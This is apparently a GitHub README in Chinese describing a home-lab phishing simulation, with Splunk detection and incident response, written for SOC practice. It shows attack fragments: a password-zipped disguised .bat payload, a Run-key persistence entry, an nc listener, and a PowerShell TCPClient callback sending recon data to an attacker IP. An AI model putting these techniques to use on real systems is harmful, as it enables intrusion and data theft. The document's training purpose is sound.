aparnaa19/Phishing--Simulation-Detection-and-Incident-Response

GitHub: aparnaa19/Phishing--Simulation-Detection-and-Incident-Response

一个端到端钓鱼攻击模拟项目,涵盖完整的Cyber Kill Chain攻击链、Splunk SIEM行为检测和正式SOC事件报告编写,用于练习真实安全运营分析师的工作流程。

Stars: 0 | Forks: 0

# 钓鱼模拟、检测与事件响应 一个完整的钓鱼攻击端到端模拟,随后进行完整的事件响应调查。在家庭实验室环境中使用真实行业工具构建——Splunk、Windows 事件日志、MXToolbox 和 VirusTotal。 ## 项目概述 本项目模拟了一次真实的钓鱼攻击,涵盖完整的网络杀伤链(Cyber Kill Chain)——从制作并发送恶意邮件、执行载荷、建立持久化、回连到攻击机(C2),到数据外泄。每个阶段都被调查并记录为正式的事件报告。 ## 实验室环境 | 机器 | 角色 | 操作系统 | |---|---|---| | Ubuntu VM(VirtualBox) | 攻击者 | Ubuntu 24 | | Windows 笔记本 | 受害者 | Windows 11 家庭版 | 两台机器位于同一桥接网络,模拟同一局域网中的攻击者与受害者。 ## 所用工具 | 工具 | 用途 | |---|---| | Splunk Enterprise | SIEM 检测与进程链分析 | | Windows Event ID 4688 | 进程创建日志 | | MXToolbox | 邮件头与认证分析 | | VirusTotal | 载荷哈希信誉检查 | | netcat | 攻击机上的 C2 监听 | | auditpol | Windows 审核策略配置 | | PowerShell | 载荷投递与 C2 回连 | ## 模拟阶段(网络杀伤链) ### 1. 投递 制作了一封冒充 IT 安全通知的钓鱼邮件。载荷被伪装为 `invoice_report.txt` 并置于密码保护的压缩包中,以绕过邮件内容过滤器。密码包含在邮件正文中——一种经典的社会工程学技巧。 ![收到的邮件](https://raw.githubusercontent.com/aparnaa19/Phishing--Simulation-Detection-and-Incident-Response/main/screenshots/emailreceived.png) **邮件认证失败(MXToolbox):** - DKIM:❌ 未签名 - DMARC:❌ 失败 - SPF:❌ 未认证 - 源服务器被列入黑名单 ![投递与中继信息](https://raw.githubusercontent.com/aparnaa19/Phishing--Simulation-Detection-and-Incident-Response/main/screenshots/deliveryandrelayinfo.png) ![SPF 与 DKIM 信息](https://raw.githubusercontent.com/aparnaa19/Phishing--Simulation-Detection-and-Incident-Response/main/screenshots/spf%20and%20dkim%20info%201.png) ### 2. 执行 受害者解压压缩包,将文件重命名为 `.bat` 并执行。Windows 记录了 `explorer.exe` 启动 `cmd.exe`——这是用户运行恶意脚本的关键告警。 ![载荷](https://raw.githubusercontent.com/aparnaa19/Phishing--Simulation-Detection-and-Incident-Response/main/screenshots/payload.png) ### 3. 侦察 载荷立即运行系统侦察命令——`whoami`、`systeminfo`、`ipconfig`、`net user`、`net localgroup administrators`——以分析受害主机。所有信息都被捕获为 Splunk 中的事件 ID 4688 条目。 ### 4. 持久化 添加了一个名为 `WindowsUpdater` 的注册表 Run 项,以便在重启后存活。该命名选择旨在与合法启动程序混淆——这是一种伪装技术。 ``` HKCU\Software\Microsoft\Windows\CurrentVersion\Run WindowsUpdater = C:\Users\theep\invoice_report.bat ``` ![持久化注册表项](https://raw.githubusercontent.com/aparnaa19/Phishing--Simulation-Detection-and-Incident-Response/main/screenshots/persistance.png) ![Splunk 中检测到的持久化](https://raw.githubusercontent.com/aparnaa19/Phishing--Simulation-Detection-and-Incident-Response/main/screenshots/persistance%20report.png) ### 5. 命令与控制(C2) PowerShell 建立到攻击机 4444 端口的 TCP 连接。攻击者通过 netcat 接收连接——模拟反向 Shell C2 回连。 ``` Attacker: nc -lvp 4444 Victim: PowerShell New-Object Net.Sockets.TCPClient('192.168.0.24', 4444) ``` ![C2 连接与数据外泄](https://raw.githubusercontent.com/aparnaa19/Phishing--Simulation-Detection-and-Incident-Response/main/screenshots/Screenshot%202026-04-20%20185640.png) ### 6. 外泄 所有侦察数据通过 C2 连接发送至攻击者——包括操作系统详情、网络配置、安装的补丁以及完整的本地管理员账户列表。 ## 检测(使用 Splunk) 整个攻击链通过一条 Splunk SPL 查询进行检测,用于查找可疑的父子进程关系: ``` index=* EventCode=4688 | where New_Process_Name="C:\\Windows\\System32\\cmd.exe" OR New_Process_Name="C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\powershell.exe" OR Creator_Process_Name="C:\\Windows\\System32\\cmd.exe" OR Creator_Process_Name="C:\\Windows\\explorer.exe" | table _time, user, New_Process_Name, Creator_Process_Name | sort _time ``` ![Splunk 检测报告](https://raw.githubusercontent.com/aparnaa19/Phishing--Simulation-Detection-and-Incident-Response/main/screenshots/detection%20report.png) **在 Splunk 中可见的完整攻击链:** | 时间 | 进程 | 父进程 | 阶段 | |---|---|---|---| | 18:40:04 | cmd.exe | explorer.exe | 执行 | | 18:40:04 | whoami.exe | cmd.exe | 侦察 | | 18:40:04 | systeminfo.exe | cmd.exe | 侦察 | | 18:40:04 | ipconfig.exe | cmd.exe | 侦察 | | 18:40:04 | net.exe | cmd.exe | 侦察 | | 18:40:08 | reg.exe | cmd.exe | 持久化 | | 18:40:08 | powershell.exe | cmd.exe | C2 + 外泄 | ## IOCs(妥协指标) | 类型 | 值 | |---|---| | 发送方邮箱 | amahalaxmiarulljothi@hawk.illinoistech.edu | | 恶意文件 | invoice_report.bat | | 文件哈希(SHA256) | d8d89dba02219e4d3014a0fa4bdf9e671e2891b95cbf0d4381d595f9c02d06d8 | | 攻击者 IP | 192.168.0.24 | | C2 端口 | 4444(TCP) | | 注册表项 | HKCU\...\Run\WindowsUpdater | ![SHA256 哈希](https://raw.githubusercontent.com/aparnaa19/Phishing--Simulation-Detection-and-Incident-Response/main/screenshots/sha.png) ![VirusTotal 结果](https://raw.githubusercontent.com/aparnaa19/Phishing--Simulation-Detection-and-Incident-Response/main/screenshots/virustotal.png) **VirusTotal 结果:哈希未命中**——该自定义载荷可绕过所有基于签名的防病毒引擎。仅通过 Splunk 的行为检测捕获。 ## 关键发现 - 密码保护的压缩包成功绕过邮件内容过滤器 - 无先验签名的自定义载荷对传统 AV 不可见 - 行为分析(事件 4688 + Splunk)检测到完整攻击链 - 攻击者使用伪装(将注册表项命名为 “WindowsUpdater”)以融入合法启动项 - 从执行到外泄的整个杀伤链在 5 秒内完成 ## 仓库结构 ``` phishing-incident-response/ │ ├── README.md ├── report/ │ └── Incident_Report_IR-2026-001.md ├── screenshots/ │ └── (all evidence screenshots) ├── payloads/ │ └── invoice_report.bat └── splunk-queries/ └── queries.md ``` ## 完整事件报告 包含时间线、根本原因分析、遏制步骤与建议的完整事件报告如下: 📄 [事件报告 IR-2026-001](report/Incident_Report_IR-2026-001.md) > 所有活动仅在受控实验室环境中进行,用于教育目的。
标签:AI合规, AMSI绕过, IP 地址批量处理, OpenCanary, SOC分析, 威胁检测, 安全实验报告, 安全攻防, 钓鱼攻击模拟